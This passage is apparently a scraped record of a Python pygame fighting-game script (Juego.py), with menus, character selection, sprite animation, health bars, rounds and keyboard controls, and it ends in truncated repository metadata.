pygame.image.load('ok2.png')\n    \n    boton1=Boton(iniciar2,iniciar,100,400)\n    boton2=Boton(historia2,historia,100,470)\n    boton3=Boton(instrucciones2,instrucciones,105,540)\n    boton4=Boton(salir2,salir,100,610)\n    boton5=Boton(jugar,jugar2,485,620)\n    boton6=Boton(next1,next2,1000,600)\n\n    cursor=Cursor()\n    ##Imagenes Barra de salud\n    salud1= pygame.image.load('salud.png')\n    salud2= pygame.image.load('salud2.png')\n\n    ##Metodo RESIZABLE redimenciona la pantalla\n    Pantalla= pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n    Reloj=pygame.time.Clock()\n    ##reloj cronometro\n    fin= False\n\n    ##pos plataformas\n    plataforma_lista =pygame.sprite.Group()\n    if BandNivel==0:  \n        p=Plataforma(782,10,[200,405])\n        plataforma_lista.add(p)\n \n    ##Fuente cronometro\n    fuente=pygame.font.SysFont('Arial',34,True,False)\n    fuente1=pygame.font.SysFont('Arial',100,True,False)\n    texto1 = fuente.render(\"PLAYER 1\", 100, (255, 255, 255))\n    texto2 = fuente.render(\"PLAYER 2\", 100, (255, 255, 255))\n    texto3 = fuente.render(\"VENOM\", 100, (255, 255, 255))\n    texto4 = fuente.render(\"FLASH\", 100, (255, 255, 255))\n    texto5 = fuente.render(\"HULK\", 100, (255, 255, 255))\n    texto6 = fuente.render(\"WOLVERINE\", 100, (255, 255, 255))\n    texto7 = fuente.render(\"<\", 100, (255, 255, 255))\n    texto8 = fuente.render(\">\", 100, (255, 255, 255))\n    texto9 = fuente1.render(\"YOU WIN!!!\",100, (255,255,255))\n    texto11 = fuente1.render(\"EMPATE!!!\",100, (255,255,255))\n        \n##Iconos iniciales--------------------------------------------------------------------------\n    imagen=pygame.image.load('hulkICON.png')\n    imagen1=pygame.image.load('VenomICON.png')\n\n    puno=pygame.mixer.Sound('puno.wav')\n    BandSonido=0\n\n##PRESENTACION-----------------------------------------------------------------------------------------------------                    \n\n    while not fin :\n        if selectJugador1==0:\n            lim=[5,12,19,5,6,7,6,5,11,9,6,7,7]\n             ## imagen jugador venom\n            img = pygame.image.load('venom1.png')\n            m=[]\n\n            for x in range(30):#filas\n                ls=[]\n                for i in range(20):#columnas\n                    cuadro=img.subsurface(i*130,x*110,130,110)#recortar imagen\n                    ls.append(cuadro)\n                m.append(ls)\n            j=Jugador(m,lim,1)\n            jugadores=pygame.sprite.pygame.sprite.Group()\n            jugadores.add(j)\n\n            selectJugador1=30\n        if selectJugador1==1:\n             # imagen jugador flash\n            lim=[4,4,6,4,3,6,2,1,1,5,2,6,3]\n            img = pygame.image.load('flash.png')\n            m=[]\n\n            for x in range(30):#filas\n                ls=[]\n                for i in range(20):#columnas\n                    cuadro=img.subsurface(i*106,x*105,106,105)#recortar imagen\n                    ls.append(cuadro)\n                m.append(ls)\n            j=Jugador(m,lim,4)\n            jugadores=pygame.sprite.pygame.sprite.Group()\n            jugadores.add(j)\n\n            selectJugador1=31\n        if selectJugador2==0:\n            lim=[4,4,7,3,6,9,19,4,5,19,5,7]\n            ## imagen jugador Jugador2\n            img1 = pygame.image.load('hulk.png')\n            m1=[]\n            for x in range(30):#filas\n                ls1=[]\n                for i in range(20):#columnas\n                    cuadro1=img1.subsurface(i*110,x*106,110,106)#recortar imagen\n                    ls1.append(cuadro1)\n                m1.append(ls1)\n            \n            j2=Jugador2(m1,lim,4)\n            jugadores2=pygame.sprite.pygame.sprite.Group()\n            jugadores2.add(j2)\n            selectJugador2=30\n        if selectJugador2==1:\n            lim=[2,3,6,2,4,5,3,9,9]\n            ## imagen jugador Jugador2\n            img1 = pygame.image.load('wolverine1.png')\n            m1=[]\n            for x in range(30):#filas\n                ls1=[]\n                for i in range(20):#columnas\n                    cuadro1=img1.subsurface(i*110,x*106,110,106)#recortar imagen\n                    ls1.append(cuadro1)\n                m1.append(ls1)\n            \n            j2=Jugador2(m1,lim,0)\n            jugadores2=pygame.sprite.pygame.sprite.Group()\n            jugadores2.add(j2)\n            selectJugador2=31\n        if j.rect.y >= (Alto + j.rect.height):\n            j.salud=0\n            ContVictoria2+=1\n            if Nivel==1:\n                Nivel=2\n                BandNivel=2   \n            elif Nivel==2:\n                Nivel=3\n                BandNivel=3\n            elif Nivel==3:\n                BandNivel=100\n                Nivel=4\n                j.rect.x=200\n                j.rect.y=200           \n        elif j2.rect.y >= (Alto + j2.rect.height):\n            j2.salud=0\n            ContVictoria1+=1\n            if Nivel==1:\n                Nivel=2\n                BandNivel=2\n            elif Nivel==2:\n                Nivel=3\n                BandNivel=3\n            elif Nivel==3:\n                BandNivel=100\n                Nivel=4 \n                j2.rect.x=200\n                j2.rect.y=200          \n        if BandSonido==0:\n            pygame.mixer.music.load('intro2.mp3')\n            pygame.mixer.music.play(10)\n            BandSonido=30\n        if BandNivel==5:\n            BandPantalla=5\n            fondo= pygame.image.load('anuncio.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            posIndicador1=(220,450)\n            posIndicador2=(900,450)\n            BandNivel=55\n            sonido1=pygame.mixer.Sound('round1.wav')\n        if BandNivel==6:\n            texto10 = fuente.render(\"CONTROLES VENOM\", 100, (255, 255, 255))\n            fondo=pygame.image.load('ControlesVenom.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            boton6.update(Pantalla,cursor)\n            BandPantalla=2\n            BandNivel=60\n            contInst=1\n        if BandNivel==7:\n            texto10 = fuente.render(\"CONTROLES FLASH\", 100, (255, 255, 255))\n            fondo=pygame.image.load('ControlesFlash.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            boton6.update(Pantalla,cursor)\n            BandPantalla=2\n            BandNivel=60\n            contInst=2\n        if BandNivel==8:\n            texto10 = fuente.render(\"CONTROLES HULK\", 100, (255, 255, 255))\n            fondo=pygame.image.load('ControlesHulk.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            boton6.update(Pantalla,cursor)\n            BandPantalla=2\n            BandNivel=60\n            contInst=3\n        if BandNivel==9:\n            texto10 = fuente.render(\"CONTROLES WOLVERINE\", 100, (255, 255, 255))\n            fondo=pygame.image.load('ControlesWolverine.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            boton6.update(Pantalla,cursor)\n            BandPantalla=2\n            BandNivel=60\n            contInst=4\n        if BandNivel==100:\n            BandNivel=101\n            BandPantalla=5\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            pygame.mixer.music.stop()\n            sound4=pygame.mixer.Sound('win.wav')\n            jugadores.remove(j)\n            jugadores2.remove(j2)    \n        if BandNivel==0:\n            fondo=pygame.image.load('logo.png')\n            Ancho = 598\n            Alto =700\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            Pantalla.blit(fondo,[0,0])\n            boton1.update(Pantalla,cursor)\n            boton2.update(Pantalla,cursor)\n            boton3.update(Pantalla,cursor)\n            boton4.update(Pantalla,cursor)\n            BandPantalla=0\n            contHis=0\n            contInst=0\n        if BandNivel==1:\n            minutes = 0\n            seconds = 0\n            milliseconds = 0\n            pygame.mixer.music.load('kombat.mp3')\n            pygame.mixer.music.play(10)\n            Round=pygame.image.load('round1.png')\n            fondo= pygame.image.load('escenario.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            j.rect.x=180\n            j2.rect.x=900\n            BandPantalla=1\n            BandNivel=50\n            sonido2=pygame.mixer.Sound('round2.wav')\n        if BandNivel==2:\n            minutes = 0\n            seconds = 0\n            milliseconds = 0\n            j.salud=350\n            j2.salud=350\n            j.rect.x=180\n            j.rect.y=0\n            j2.rect.x=900\n            j2.rect.y=0\n            sonido2.play()\n            Round=pygame.image.load('round2.png')\n            pygame.mixer.music.play(5)\n            plataforma_lista.remove(p)\n            p=Plataforma(800,10,[200,380])\n            plataforma_lista.add(p)\n            fondo= pygame.image.load('escenario1.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            BandPantalla=1\n            BandNivel=50\n            sonido3=pygame.mixer.Sound('finalRound.wav')\n        if BandNivel==3:\n            j.gravedad(0.0001)\n            j2.gravedad(0.001)\n            j.salud=350\n            j2.salud=350\n            j.rect.x=180\n            j.rect.y=0\n            j2.rect.x=1200\n            j2.rect.y=0\n            minutes = 0\n            seconds = 0\n            milliseconds = 0\n            sonido3.play()\n            pygame.mixer.music.play(10)\n            Round=pygame.image.load('finalRound.png')\n            plataforma_lista.remove(p)\n            p=Plataforma(225,1,[175,425])\n            plataforma_lista.add(p)\n            p=Plataforma(225,1,[760,425])\n            plataforma_lista.add(p)\n            p=Plataforma(240,1,[460,288])\n            plataforma_lista.add(p)\n            p=Plataforma(950,10,[100,600])\n            plataforma_lista.add(p)\n            fondo= pygame.image.load('escenarioFinal.jpg')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            j.rect.x=180\n            j2.rect.x=740\n            BandPantalla=1\n            BandNivel=50\n        if BandNivel==4:\n            fondo=pygame.image.load('his1.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            BandPantalla=2\n            BandNivel=59\n            boton6.update(Pantalla,cursor)\n            contHis=1\n        if BandNivel==10:\n            fondo=pygame.image.load('his2.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            BandPantalla=2\n            BandNivel=59\n            boton6.update(Pantalla,cursor)\n            contHis=2\n        if BandNivel==11:\n            fondo=pygame.image.load('his3.png')\n            Ancho = 1200\n            Alto =675\n            Pantalla=pygame.display.set_mode([Ancho,Alto], pygame.RESIZABLE)\n            BandPantalla=2\n            BandNivel=59\n            boton6.update(Pantalla,cursor)\n            contHis=3\n        if BandNivel==50:\n            if minutes <= 1:\n                ##Colisiones Jugadores Nivel 1----------------------------------------------------------\n                if j.salud>=0 and j2.salud>=0:\n                    lista_colisiones=pygame.sprite.spritecollide(j,jugadores2,False)\n                    for j1 in lista_colisiones:\n                        if selectJugador1==30:\n                            if j.rect.right>=j2.rect.left-50 and j.accion==0:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.5\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==3:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.4\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==6:\n                                if j2.salud>=0:\n                                    j2.salud+=-1\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==8:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.2\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==7:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.4\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==5:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.3\n                                    print(j2.salud)\n                        else:\n                            if j.rect.right>=j2.rect.left-50 and j.accion==0:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.5\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==1:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.4\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==2:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.2\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==3:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.3\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==9:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.3\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==10:\n                                if j2.salud>=0:\n                                    j2.salud+=-1\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==11:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.3\n                                    print(j2.salud)\n                            if j.rect.right>=j2.rect.left-50 and j.accion==12:\n                                if j2.salud>=0:\n                                    j2.salud+=-0.6\n                                    print(j2.salud)\n                    \n                    lista_colisiones=pygame.sprite.spritecollide(j2,jugadores,False)\n                    for J2 in lista_colisiones:\n                        if selectJugador2==30:\n                            if j2.rect.left<=j.rect.right and j2.accion==0:\n                                if j.salud>=0:\n                                    j.salud+=-0.3\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==8:\n                                if j.salud>=0:\n                                    j.salud+=-0.5\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==2:\n                                if j.salud>=0:\n                                    j.salud+=-0.7\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==10:\n                                if j.salud>=0:\n                                    j.salud+=-0.4\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==3:\n                                if j.salud>=0:\n                                    j.salud+=-1\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==11:\n                                if j.salud>=0:\n                                    j.salud+=-0.4\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==7:\n                                if j.salud>=0:\n                                    j.salud+=-0.8\n                                    print(j.salud)\n                        else:\n                            if j2.rect.left<=j.rect.right and j2.accion==1:\n                                if j.salud>=0:\n                                    j.salud+=-0.6\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==2:\n                                if j.salud>=0:\n                                    j.salud+=-0.7\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==4:\n                                if j.salud>=0:\n                                    j.salud+=-0.6\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==5:\n                                if j.salud>=0 and j2.salud<=350:\n                                    j2.salud+=0.1\n                                    print(j.salud)\n                            if j2.rect.left<=j.rect.right and j2.accion==6:\n                                if j.salud>=0:\n                                    j.salud+=-1\n                                    print(j.salud)\n                    \n                else:\n                    if Nivel==1:\n                        BandNivel=2\n                        Nivel=2\n                        if j.salud>j2.salud:\n                            ContVictoria1+=1\n                        else:\n                            ContVictoria2+=1\n                    elif Nivel==2:\n                        BandNivel=3\n                        Nivel=3\n                        if j.salud>j2.salud:\n                            ContVictoria1+=1\n                        else:\n                            ContVictoria2+=1\n                    elif Nivel==3:\n                        BandNivel=100\n                        Nivel=4\n                        if j.salud>j2.salud:\n                            ContVictoria1+=1\n                        else:\n                            ContVictoria2+=1         \n            else:\n                if Nivel==1:\n                    BandNivel=2\n                    Nivel=2\n                    if j.salud>j2.salud:\n                        ContVictoria1+=1\n                    elif j2.salud>j.salud:\n                        ContVictoria2+=1\n                elif Nivel==2:\n                    BandNivel=3\n                    Nivel=3\n                    if j.salud>j2.salud:\n                        ContVictoria1+=1\n                    elif j2.salud>j.salud:\n                        ContVictoria2+=1\n                elif Nivel==3:\n                    BandNivel=100\n                    Nivel=4\n                    if j.salud>j2.salud:\n                        ContVictoria1+=1\n                    elif j2.salud>j.salud:\n                        ContVictoria2+=1\n                \n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                fin = True           \n##NIVEL 1------------------------------------------------------------------------------------------------------                     \n            if event.type==pygame.MOUSEBUTTONDOWN:\n                if cursor.colliderect(boton1.rect):  \n                    ##bandera para ir a seleccion de judores\n                    BandNivel=5\n                if cursor.colliderect(boton2.rect):\n                    BandNivel=4\n                if cursor.colliderect(boton3.rect):\n                    BandNivel=6\n                if cursor.colliderect(boton4.rect):\n                    fin=True\n                if cursor.colliderect(boton5.rect):\n                    clock=pygame.time.Clock()\n                    BandNivel=1\n                    sonido1.play()\n                if cursor.colliderect(boton6.rect):\n                    if contInst==1:\n                        BandNivel=7\n                    if contInst==2:\n                        BandNivel=8\n                    if contInst==3:\n                        BandNivel=9\n                    if contInst==4:\n                        BandNivel=0\n                    if contHis==1:\n                        BandNivel=10\n                    if contHis==2:\n                        BandNivel=11\n                    if contHis==3:\n                        BandNivel=0\n\n            if event.type== pygame.KEYDOWN:\n                if event.key==pygame.K_d:\n                    if BandNivel==50:\n                        if selectJugador1==30:\n                            j.accion=12\n                            j.vel_x=5\n                            j.vel_y=0\n                        else:\n                            j.accion=7\n                            j.vel_x=5\n                            j.vel_y=0                        \n                if event.key==pygame.K_a:\n                    if BandNivel==50:\n                        if selectJugador1==30:\n                            j.accion=11\n                            j.vel_x=-5\n                            j.vel_y=0\n                        else:\n                            j.accion=8\n                            j.vel_x=-5\n                            j.vel_y=0 \n                if event.key==pygame.K_v:\n                    if BandNivel==50:\n                        puno.play()\n                        if selectJugador1==30:\n                            j.accion=0\n                            j.con=0\n                        else:\n                            j.accion=2\n                            j.con=0\n                if event.key== pygame.K_b:\n                    if BandNivel==50:\n                        puno.play()\n                        if selectJugador1==30:\n                            j.accion=3\n                            j.con=0\n                        else:\n                            j.accion=1\n                            j.con=0\n                if event.key==pygame.K_n:\n                    if BandNivel==50:\n                        if selectJugador1==30:\n                            j.accion=6\n                            j.con=0\n                        else:\n                            j.accion=12\n                            j.con=0\n                if event.key==pygame.K_m:\n                    if BandNivel==50: \n                        if selectJugador1==30:\n                            j.accion=8\n                            j.con=0\n                        else:\n                            puno.play()\n                            j.accion=3\n                            j.con=0\n                if event.key==pygame.K_g:\n                    if BandNivel==50:\n                        if selectJugador1==30:\n                            j.accion=7\n                            j.con=0\n                        else:\n                            puno.play()\n                            j.accion=0\n                            j.con=0\n                if event.key==pygame.K_h:\n                    if BandNivel==50:\n                        if selectJugador1==31:\n                            j.accion=10\n                            j.con=0\n                if event.key==pygame.K_j:\n                    if BandNivel==50:\n                        if selectJugador1==31:\n                            j.accion=9\n                            j.con=0\n                if event.key==pygame.K_s:\n                    if BandNivel==50:\n                        if selectJugador1==30:\n                            j.accion=5\n                            j.con=0\n                        else:\n                            puno.play()\n                            j.accion=11\n                            j.con=0\n                    if BandNivel==55:\n                        imagen1=pygame.image.load('flashICON.png')\n                        posIndicador1=(220,550)\n                        selectJugador1=1\n                if event.key == pygame.K_w:\n                    if BandNivel==50:\n\n                        if selectJugador1==30:\n                            j.accion=2\n                            j.con=0\n                        if selectJugador1==31:\n                            j.accion=6\n                            j.con=0\n                \n                        if j.rect.right>p.rect.left and j.rect.left<p.rect.right:\n                            ContSaltos+=1\n\n                            j.rect.y += 10\n                            plataforma_col = pygame.sprite.spritecollide(j, plataforma_lista, False)\n                            j.rect.y -= 10\n\n                            if len(plataforma_col) > 0:\n                                ContSaltosFuera=0\n                                ContSaltos=0\n                            if ContSaltos<2:\n                                puno.play()\n                                if Nivel==3:\n                                    j.vel_y=-16\n                                else:\n                                    j.vel_y=-12\n                        elif (ContSaltosFuera<3 and j.rect.right<=p.rect.left)or (ContSaltosFuera<3 and j.rect.left > p.rect.right):\n                            ContSaltosFuera+=1\n                            j.vel_y=-15\n\n                    if BandNivel==55:\n                        selectJugador1=0\n                        imagen1=pygame.image.load('VenomICON.png')\n                        posIndicador1=(220,450)  \n                if event.key==pygame.K_RIGHT:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            j2.accion=9\n                            j2.vel_x=5\n                            j2.vel_y=0\n                        else:\n                            j2.accion=8\n                            j2.vel_x=5\n                            j2.vel_y=0\n                if event.key==pygame.K_LEFT:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            j2.accion=6\n                            j2.vel_x=-5\n                            j2.vel_y=0\n                        else:\n                            j2.accion=7\n                            j2.vel_x=-5\n                            j2.vel_y=0\n                if event.key==pygame.K_1:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            puno.play()\n                            j2.accion=11\n                            j2.con=0\n                        else:\n                            j2.accion=6\n                            j2.con=0\n                if event.key==pygame.K_2:\n                    if BandNivel==50:\n                        puno.play()\n                        if selectJugador2==30:\n                            j2.accion=3\n                            j2.con=0\n                        else:\n                            j2.accion=2\n                            j2.con=0\n                if event.key==pygame.K_3:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            puno.play()\n                            j2.accion=10\n                            j2.con=0\n                        else:\n                            j2.accion=5\n                            j2.con=0\n                if event.key==pygame.K_4:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            j2.accion=2\n                            j2.con=0\n                        else:\n                            j2.accion=4\n                            j2.con=0\n                if event.key==pygame.K_5:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            puno.play()\n                            j2.accion=0\n                            j2.con=0\n                if event.key==pygame.K_6:\n                    if BandNivel==50:\n                        if selectJugador2==30:\n                            puno.play()\n                            j2.accion=8\n                            j2.con=0\n                        \n                if event.key == pygame.K_DOWN:\n                    if BandNivel==50:\n                        puno.play()\n                        if selectJugador2==30:\n                            j2.accion=7\n                            j2.con=0   \n                        else:\n                            j2.accion=1\n                            j2.con=0\n                    if BandNivel==55:\n                        selectJugador2=1\n                        imagen=pygame.image.load('wolICON.png')\n                        posIndicador2=(900,550)\n                if event.key == pygame.K_UP:\n                    if BandNivel==55:\n                        selectJugador2=0\n                        imagen=pygame.image.load('hulkICON.png')\n                        posIndicador2=(900,450)\n                    if BandNivel==50:  \n                        if selectJugador2==30:\n                            j2.accion=5\n                            j2.con=0\n                        if selectJugador2==31:\n                            j2.accion=3\n                            j2.con=0 \n                        if j2.rect.right>p.rect.left and j2.rect.left<p.rect.right:\n                            ContSaltos2+=1\n\n                            j2.rect.y += 10\n                            plataforma_col = pygame.sprite.spritecollide(j2, plataforma_lista, False)\n                            j2.rect.y -= 10\n\n                            if len(plataforma_col) > 0:\n                                ContSaltosFuera2=0\n                                ContSaltos2=0\n                            if ContSaltos2<2:\n                                puno.play()\n                                if Nivel==3:\n                                    j2.vel_y=-16\n                                else:\n                                    j2.vel_y=-12\n                        elif (ContSaltosFuera2<3 and j2.rect.right<=p.rect.left)or (ContSaltosFuera2<3 and j2.rect.left > p.rect.right):\n                            ContSaltosFuera+=1\n                            j2.vel_y=-15 \n                    \n                    \n            if event.type==pygame.KEYUP:\n                if selectJugador1==30:\n                    j.accion=1\n                    j.vel_x=0\n                    j.vel_y=0\n                    j.con=0\n                else:\n                    j.accion=4\n                    j.vel_x=0\n                    j.vel_y=0\n                    j.con=0\n                if selectJugador2==30:\n                    j2.accion=4\n                    j2.vel_x=0\n                    j2.vel_y=0\n                    j2.con=0\n                else:\n                    j2.accion=0\n                    j2.vel_x=0\n                    j2.vel_y=0\n                    j2.con=0\n        \n##-------------------------------------------------------------------------------------------------------------------------------\n        if BandPantalla==5:        \n            if Nivel==4:\n                Pantalla.fill(Negro)\n                if ContVictoria1>ContVictoria2:\n                    if selectJugador1==30:\n                        sound4.play()\n                        Pantalla.blit(texto9,(370,150))\n                        Pantalla.blit(texto3,(570,270))\n                        Pantalla.blit(imagen1,[530,330])\n                    else:\n                        sound4.play()\n                        Pantalla.blit(texto9,(370,150))\n                        Pantalla.blit(texto4,(570,270))\n                        Pantalla.blit(imagen1,[550,300])\n\n                elif ContVictoria2>ContVictoria1 :\n                    if selectJugador2==30:\n                        sound4.play()\n                        Pantalla.blit(texto9,(370,150))\n                        Pantalla.blit(texto5,(570,270))\n                        Pantalla.blit(imagen,[530,330])\n                    else:\n                        sound4.play()\n                        Pantalla.blit(texto9,(370,150))\n                        Pantalla.blit(texto6,(570,270))\n                        Pantalla.blit(imagen,[530,330])\n                else:\n                    Pantalla.blit(texto11,(370,150))\n            else:\n                Pantalla.fill(Negro)\n                Pantalla.blit(fondo,[450,0])\n                Pantalla.blit(texto1,(100,100))\n                Pantalla.blit(texto3,(70,450))\n                Pantalla.blit(texto4,(70,550))\n                Pantalla.blit(texto2,(900,100))\n                Pantalla.blit(texto5,(950,450))\n                Pantalla.blit(texto6,(950,550))\n                Pantalla.blit(texto7,posIndicador1)\n                Pantalla.blit(texto8,posIndicador2)\n                Pantalla.blit(imagen1,[300,350])\n                Pantalla.blit(imagen,[620,350])\n                boton5.update(Pantalla,cursor)            \n        if BandPantalla==1:\n            Pantalla.blit(fondo,[0,0])\n            pygame.draw.line(Pantalla,Naranja,[77,55],[77 + j.salud,55],30)\n            pygame.draw.line(Pantalla,Naranja,[773,55],[773 + j2.salud,55],30)\n            Pantalla.blit(salud1,[0,0])\n            Pantalla.blit(salud2,[750,0])\n             ##plataforma_lista.draw(Pantalla)\n            jugadores.update(plataforma_lista)\n            jugadores.draw(Pantalla)\n            jugadores2.update(plataforma_lista)\n            jugadores2.draw(Pantalla)\n            \n            if minutes==0 and seconds<= 5:\n                Pantalla.blit(Round,[475,200])\n            \n            if milliseconds > 1000:\n                seconds += 1\n                milliseconds -= 1000\n            if seconds > 60:\n                minutes += 1\n                seconds -= 60\n            \n            info= fuente.render(\"{}:{}\".format(minutes, seconds),0,Blanco)\n            Pantalla.blit(info,[580,50])\n        \n\n            ##print (\"{}:{}\".format(minutes, seconds))\n\n            milliseconds += clock.tick_busy_loop(60)        \n        if BandPantalla==2:\n            Pantalla.blit(fondo,[0,0])\n            if BandNivel==60:\n                Pantalla.blit(texto10,(450,50))\n            boton6.update(Pantalla,cursor)\n        pygame.display.flip()\n        cursor.update()\n        Reloj.tick(20)                  ", "repo_name": "VicenteHoyos/Fighter-player-Computacion-grafica", "sub_path": "Juego.py", "file_name": "Juego.py", "file_ext": "py", "file_size_in_byte": 40835, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.Rect", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.Rect.__init__", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.Rect", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 75, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 106, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Sprite.__init__", "line_number": 109, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 136, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 152, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 152, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 190, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 192, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 192, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 193, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 193, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 194, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 194, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 195, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 195, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 196, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 197, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 198, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 198, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 199, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 200, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 200, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 201, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 201, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 202, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 202, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 203, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 203, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 214, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 215, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 215, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 218, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 218, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 218, 